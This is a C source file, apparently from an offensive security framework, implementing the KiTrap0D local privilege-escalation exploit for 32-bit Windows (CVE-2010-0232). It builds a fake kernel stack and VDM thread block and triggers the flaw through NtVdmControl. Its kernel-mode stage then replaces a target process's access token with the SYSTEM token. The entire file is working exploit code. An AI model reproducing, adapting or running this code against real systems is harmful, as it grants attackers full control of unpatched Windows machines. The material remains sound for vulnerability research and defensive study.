369 lines
12 KiB
C
369 lines
12 KiB
C
/*!
|
|
* @file kitrap0d.c
|
|
* @brief A port of HDM's/Pusscat's implementation of Tavis Ormandy's code (vdmallowed.c).
|
|
* @remark See http://archives.neohapsis.com/archives/fulldisclosure/2010-01/0346.html
|
|
*/
|
|
|
|
#ifndef WIN32_NO_STATUS
|
|
# define WIN32_NO_STATUS
|
|
#endif
|
|
#include <windows.h>
|
|
#include <stdio.h>
|
|
#include "../common/common.h"
|
|
#include "kitrap0d.h"
|
|
#include <winerror.h>
|
|
#include <winternl.h>
|
|
#include <stddef.h>
|
|
#ifdef WIN32_NO_STATUS
|
|
# undef WIN32_NO_STATUS
|
|
#endif
|
|
#include <ntstatus.h>
|
|
|
|
#ifdef _WIN64
|
|
|
|
/*
|
|
* This is not implemented for the x64 build.
|
|
*/
|
|
VOID elevator_kitrap0d( DWORD dwProcessId, DWORD dwKernelBase, DWORD dwOffset )
|
|
{
|
|
return;
|
|
}
|
|
|
|
#else
|
|
|
|
/*! * @brief Global target process ID. */
|
|
static DWORD dwTargetProcessId = 0;
|
|
/*! * @brief Global pointer to the kernel stack. */
|
|
static DWORD * lpKernelStackPointer = NULL;
|
|
/*! * @brief Global reference to the kernel itself. */
|
|
static HMODULE hKernel = NULL;
|
|
|
|
/*!
|
|
* @brief Find an exported kernel symbol by name.
|
|
* @param SymbolName The name of the symbol to find.
|
|
* @returns Pointer to the symbol, if found.
|
|
*/
|
|
PVOID elevator_kitrap0d_kernelgetproc(PSTR SymbolName)
|
|
{
|
|
PUCHAR ImageBase = NULL;
|
|
PULONG NameTable = NULL;
|
|
PULONG FunctionTable = NULL;
|
|
PUSHORT OrdinalTable = NULL;
|
|
PIMAGE_EXPORT_DIRECTORY ExportDirectory = NULL;
|
|
PIMAGE_DOS_HEADER DosHeader = NULL;
|
|
PIMAGE_NT_HEADERS PeHeader = NULL;
|
|
DWORD i = 0;
|
|
|
|
ImageBase = (PUCHAR)hKernel;
|
|
DosHeader = (PIMAGE_DOS_HEADER)ImageBase;
|
|
PeHeader = (PIMAGE_NT_HEADERS)(ImageBase + DosHeader->e_lfanew);
|
|
ExportDirectory = (PIMAGE_EXPORT_DIRECTORY)(ImageBase + PeHeader->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress);
|
|
|
|
// Find required tables from the ExportDirectory...
|
|
NameTable = (PULONG)(ImageBase + ExportDirectory->AddressOfNames);
|
|
FunctionTable = (PULONG)(ImageBase + ExportDirectory->AddressOfFunctions);
|
|
OrdinalTable = (PUSHORT)(ImageBase + ExportDirectory->AddressOfNameOrdinals);
|
|
|
|
// Scan each entry for a matching name.
|
|
for (i = 0; i < ExportDirectory->NumberOfNames; i++)
|
|
{
|
|
PCHAR Symbol = ImageBase + NameTable[i];
|
|
|
|
if (strcmp(Symbol, SymbolName) == 0)
|
|
{
|
|
// Symbol found, return the appropriate entry from FunctionTable.
|
|
return (PVOID)(ImageBase + FunctionTable[OrdinalTable[i]]);
|
|
}
|
|
}
|
|
|
|
// Symbol not found, this is likely fatal :-(
|
|
return NULL;
|
|
}
|
|
|
|
/*!
|
|
* @brief Replace a value if it falls between a given range.
|
|
*/
|
|
BOOL elevator_kitrap0d_checkandreplace(PDWORD checkMe, DWORD rangeStart, DWORD rangeEnd, DWORD value)
|
|
{
|
|
if (*checkMe >= rangeStart && *checkMe <= rangeEnd)
|
|
{
|
|
*checkMe = value;
|
|
return TRUE;
|
|
}
|
|
|
|
return FALSE;
|
|
}
|
|
|
|
/*!
|
|
* @brief Search the specified data structure for a member with CurrentValue.
|
|
*/
|
|
BOOL elevator_kitrap0d_findandreplace( PDWORD Structure, DWORD CurrentValue, DWORD NewValue, DWORD MaxSize, BOOL ObjectRefs)
|
|
{
|
|
DWORD i = 0;
|
|
DWORD Mask = 0;
|
|
|
|
// Microsoft QWORD aligns object pointers, then uses the lower three
|
|
// bits for quick reference counting (nice trick).
|
|
Mask = ObjectRefs ? ~7 : ~0;
|
|
|
|
// Mask out the reference count.
|
|
CurrentValue &= Mask;
|
|
|
|
// Scan the structure for any occurrence of CurrentValue.
|
|
for( i = 0 ; i < MaxSize ; i++ )
|
|
{
|
|
if( (Structure[i] & Mask) == CurrentValue )
|
|
{
|
|
// And finally, replace it with NewValue.
|
|
Structure[i] = NewValue;
|
|
return TRUE;
|
|
}
|
|
}
|
|
|
|
// Member not found.
|
|
return FALSE;
|
|
}
|
|
|
|
/*!
|
|
* @brief This routine is where we land after successfully triggering the vulnerability.
|
|
*/
|
|
#pragma warning(disable: 4731)
|
|
VOID elevator_kitrap0d_firststage(VOID)
|
|
{
|
|
FARPROC DbgPrint = NULL;
|
|
FARPROC PsGetCurrentThread = NULL;
|
|
FARPROC PsGetCurrentThreadStackBase = NULL;
|
|
FARPROC PsGetCurrentThreadStackLimit = NULL;
|
|
FARPROC PsLookupProcessByProcessId = NULL;
|
|
FARPROC PsReferencePrimaryToken = NULL;
|
|
FARPROC ZwTerminateProcess = NULL;
|
|
PVOID CurrentThread = NULL;
|
|
PVOID TargetProcess = NULL;
|
|
PVOID * PsInitialSystemProcess = NULL;
|
|
HANDLE pret = NULL;
|
|
DWORD StackBase = 0;
|
|
DWORD StackLimit = 0;
|
|
DWORD NewStack = 0;
|
|
DWORD i = 0;
|
|
DWORD dwEThreadOffsets[] = {
|
|
0x6, // WinXP SP3, VistaSP2
|
|
0xA // Windows 7, VistaSP1
|
|
};
|
|
|
|
// Keep interrupts off until we've repaired the KTHREAD.
|
|
__asm cli
|
|
|
|
// Resolve some routines we need from the kernel export directory
|
|
DbgPrint = elevator_kitrap0d_kernelgetproc("DbgPrint");
|
|
PsGetCurrentThread = elevator_kitrap0d_kernelgetproc("PsGetCurrentThread");
|
|
PsGetCurrentThreadStackBase = elevator_kitrap0d_kernelgetproc("PsGetCurrentThreadStackBase");
|
|
PsGetCurrentThreadStackLimit = elevator_kitrap0d_kernelgetproc("PsGetCurrentThreadStackLimit");
|
|
PsInitialSystemProcess = elevator_kitrap0d_kernelgetproc("PsInitialSystemProcess");
|
|
PsLookupProcessByProcessId = elevator_kitrap0d_kernelgetproc("PsLookupProcessByProcessId");
|
|
PsReferencePrimaryToken = elevator_kitrap0d_kernelgetproc("PsReferencePrimaryToken");
|
|
ZwTerminateProcess = elevator_kitrap0d_kernelgetproc("ZwTerminateProcess");
|
|
|
|
CurrentThread = (PVOID)PsGetCurrentThread();
|
|
StackLimit = (DWORD)PsGetCurrentThreadStackLimit();
|
|
StackBase = (DWORD)PsGetCurrentThreadStackBase();
|
|
|
|
NewStack = StackBase - ((StackBase - StackLimit) / 2);
|
|
|
|
// First we need to repair the CurrentThread, find all references to the fake kernel
|
|
// stack and repair them. Note that by "repair" we mean randomly point them
|
|
// somewhere inside the real stack.
|
|
|
|
// Walk only the offsets that could possibly be bad based on testing, and see if they need
|
|
// to be swapped out. O(n^2) -> O(c) wins the race!
|
|
for (i = 0; i < sizeof(dwEThreadOffsets) / sizeof (DWORD); i++) {
|
|
elevator_kitrap0d_checkandreplace((((PDWORD)CurrentThread) + dwEThreadOffsets[i]), (DWORD)&lpKernelStackPointer[0], (DWORD)&lpKernelStackPointer[KSTACKSIZE - 1], (DWORD)NewStack);
|
|
}
|
|
|
|
// Find the EPROCESS structure for the process we want to escalate
|
|
if (PsLookupProcessByProcessId(dwTargetProcessId, &TargetProcess) == STATUS_SUCCESS)
|
|
{
|
|
PACCESS_TOKEN SystemToken = NULL;
|
|
PACCESS_TOKEN TargetToken = NULL;
|
|
|
|
// What's the maximum size the EPROCESS structure is ever likely to be?
|
|
CONST DWORD MaxExpectedEprocessSize = 0x200;
|
|
|
|
// DbgPrint("PsLookupProcessByProcessId(%u) => %p\n", TargetPid, TargetProcess);
|
|
//DbgPrint("PsInitialSystemProcess @%p\n", *PsInitialSystemProcess);
|
|
|
|
// Find the Token object for my target process, and the SYSTEM process.
|
|
TargetToken = (PACCESS_TOKEN)PsReferencePrimaryToken(TargetProcess);
|
|
|
|
SystemToken = (PACCESS_TOKEN)PsReferencePrimaryToken(*PsInitialSystemProcess);
|
|
|
|
//DbgPrint("PsReferencePrimaryToken(%p) => %p\n", TargetProcess, TargetToken);
|
|
//DbgPrint("PsReferencePrimaryToken(%p) => %p\n", *PsInitialSystemProcess, SystemToken);
|
|
|
|
// Find the token in the target process, and replace with the system token.
|
|
elevator_kitrap0d_findandreplace((PDWORD)TargetProcess, (DWORD)TargetToken, (DWORD)SystemToken, MaxExpectedEprocessSize, TRUE);
|
|
|
|
// Success
|
|
pret = (HANDLE)'w00t';
|
|
}
|
|
else
|
|
{
|
|
// Maybe the user closed the window?
|
|
// Report this failure
|
|
pret = (HANDLE)'LPID';
|
|
}
|
|
|
|
__asm
|
|
{
|
|
mov eax, -1 // ZwCurrentProcess macro returns -1
|
|
mov ebx, NewStack
|
|
mov ecx, pret
|
|
mov edi, ZwTerminateProcess
|
|
mov esp, ebx // Swap the stack back to kernel-land
|
|
mov ebp, ebx // Swap the frame pointer back to kernel-land
|
|
sub esp, 256
|
|
push ecx // Push the return code
|
|
push eax // Push the process handle
|
|
sti // Restore interrupts finally
|
|
call edi // Call ZwTerminateProcess
|
|
__emit 0xCC; // Hope we never end up here
|
|
};
|
|
|
|
}
|
|
#pragma warning(default: 4731)
|
|
|
|
/*!
|
|
* @brief Setup a minimal execution environment to satisfy NtVdmControl().
|
|
*/
|
|
BOOL elevator_kitrap0d_initvdmsubsystem(VOID)
|
|
{
|
|
DWORD dwResult = ERROR_SUCCESS;
|
|
FARPROC pNtAllocateVirtualMemory = NULL;
|
|
FARPROC pNtFreeVirtualMemory = NULL;
|
|
FARPROC pNtVdmControl = NULL;
|
|
PBYTE BaseAddress = (PVOID)0x00000001;
|
|
HMODULE hNtdll = NULL;
|
|
ULONG RegionSize = 0;
|
|
static DWORD TrapHandler[128] = { 0 };
|
|
static DWORD IcaUserData[128] = { 0 };
|
|
|
|
static struct {
|
|
PVOID TrapHandler;
|
|
PVOID IcaUserData;
|
|
} InitData;
|
|
|
|
do
|
|
{
|
|
hNtdll = GetModuleHandle("ntdll");
|
|
if (!hNtdll) {
|
|
BREAK_WITH_ERROR("[KITRAP0D] elevator_kitrap0d_initvdmsubsystem. GetModuleHandle ntdll failed", ERROR_INVALID_PARAMETER);
|
|
}
|
|
|
|
pNtAllocateVirtualMemory = GetProcAddress(hNtdll, "NtAllocateVirtualMemory");
|
|
pNtFreeVirtualMemory = GetProcAddress(hNtdll, "NtFreeVirtualMemory");
|
|
pNtVdmControl = GetProcAddress(hNtdll, "NtVdmControl");
|
|
|
|
if (!pNtAllocateVirtualMemory || !pNtFreeVirtualMemory || !pNtVdmControl) {
|
|
BREAK_WITH_ERROR("[KITRAP0D] elevator_kitrap0d_initvdmsubsystem. invalid params", ERROR_INVALID_PARAMETER);
|
|
}
|
|
|
|
InitData.TrapHandler = TrapHandler;
|
|
InitData.IcaUserData = IcaUserData;
|
|
|
|
// Remove anything currently mapped at NULL
|
|
pNtFreeVirtualMemory(GetCurrentProcess(), &BaseAddress, &RegionSize, MEM_RELEASE);
|
|
|
|
BaseAddress = (PVOID)0x00000001;
|
|
RegionSize = (ULONG)0x00100000;
|
|
|
|
// Allocate the 1MB virtual 8086 address space.
|
|
if (pNtAllocateVirtualMemory(GetCurrentProcess(), &BaseAddress, 0, &RegionSize, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE) != STATUS_SUCCESS) {
|
|
BREAK_WITH_ERROR("[KITRAP0D] elevator_kitrap0d_initvdmsubsystem. NtAllocateVirtualMemory failed", 'NTAV');
|
|
}
|
|
|
|
// Finalise the initialisation.
|
|
if (pNtVdmControl(VdmInitialize, &InitData) != STATUS_SUCCESS) {
|
|
BREAK_WITH_ERROR("[KITRAP0D] elevator_kitrap0d_initvdmsubsystem. NtVdmControl failed", 'VDMC');
|
|
}
|
|
|
|
return TRUE;
|
|
|
|
} while (0);
|
|
|
|
ExitThread(dwResult);
|
|
|
|
return FALSE;
|
|
}
|
|
|
|
/*!
|
|
* @brief CVE-2010-0232 implementation.
|
|
*/
|
|
VOID elevator_kitrap0d(DWORD dwProcessId, DWORD dwKernelBase, DWORD dwOffset)
|
|
{
|
|
DWORD dwResult = ERROR_SUCCESS;
|
|
FARPROC pNtVdmControl = NULL;
|
|
HMODULE hNtdll = NULL;
|
|
DWORD dwKernelStack[KSTACKSIZE] = { 0 };
|
|
VDMTIB VdmTib = { 0 };
|
|
DWORD dwMinimumExpectedVdmTibSize = 0x200;
|
|
DWORD dwMaximumExpectedVdmTibSize = 0x800;
|
|
|
|
do
|
|
{
|
|
dprintf("[KITRAP0D] elevator_kitrap0d. dwProcessId=%d, dwKernelBase=0x%08X, dwOffset=0x%08X", dwProcessId, dwKernelBase, dwOffset);
|
|
|
|
memset(&VdmTib, 0, sizeof(VDMTIB));
|
|
memset(&dwKernelStack, 0, KSTACKSIZE * sizeof(DWORD));
|
|
|
|
// XXX: Windows 2000 forces the thread to exit with 0x80 if Padding3 is filled with junk.
|
|
// With a buffer full of NULLs, the exploit never finds the right size.
|
|
// This will require a more work to resolve, for just keep the padding zero'd
|
|
|
|
hNtdll = GetModuleHandle("ntdll");
|
|
if (!hNtdll) {
|
|
BREAK_WITH_ERROR("[KITRAP0D] elevator_kitrap0d. GetModuleHandle ntdll failed", ERROR_INVALID_PARAMETER);
|
|
}
|
|
|
|
pNtVdmControl = GetProcAddress(hNtdll, "NtVdmControl");
|
|
if (!pNtVdmControl) {
|
|
BREAK_ON_ERROR("[KITRAP0D] elevator_kitrap0d. GetProcAddress NtVdmControl failed");
|
|
}
|
|
|
|
dwTargetProcessId = dwProcessId;
|
|
|
|
// Setup the fake kernel stack, and install a minimal VDM_TIB...
|
|
lpKernelStackPointer = (DWORD *)&dwKernelStack;
|
|
dwKernelStack[0] = (DWORD)&dwKernelStack[8]; // ESP
|
|
dwKernelStack[1] = (DWORD)NtCurrentTeb(); // TEB
|
|
dwKernelStack[2] = (DWORD)NtCurrentTeb(); // TEB
|
|
dwKernelStack[7] = (DWORD)elevator_kitrap0d_firststage; // RETURN ADDRESS
|
|
hKernel = (HMODULE)dwKernelBase;
|
|
VdmTib.Size = dwMinimumExpectedVdmTibSize;
|
|
*NtCurrentTeb()->Reserved4 = &VdmTib;
|
|
|
|
// Initialize the VDM Subsystem...
|
|
elevator_kitrap0d_initvdmsubsystem();
|
|
|
|
VdmTib.Size = dwMinimumExpectedVdmTibSize;
|
|
VdmTib.VdmContext.SegCs = 0x0B;
|
|
VdmTib.VdmContext.Esi = (DWORD)&dwKernelStack;
|
|
VdmTib.VdmContext.Eip = dwKernelBase + dwOffset;
|
|
VdmTib.VdmContext.EFlags = EFLAGS_TF_MASK;
|
|
*NtCurrentTeb()->Reserved4 = &VdmTib;
|
|
|
|
// Allow thread initialization to complete. Without is, there is a chance
|
|
// of a race in KiThreadInitialize's call to SwapContext
|
|
Sleep(1000);
|
|
|
|
// Trigger the vulnerable code via NtVdmControl()...
|
|
while (VdmTib.Size++ < dwMaximumExpectedVdmTibSize) {
|
|
pNtVdmControl(VdmStartExecution, NULL);
|
|
}
|
|
|
|
} while (0);
|
|
|
|
// Unable to find correct VdmTib size.
|
|
ExitThread('VTIB');
|
|
}
|
|
|
|
#endif
|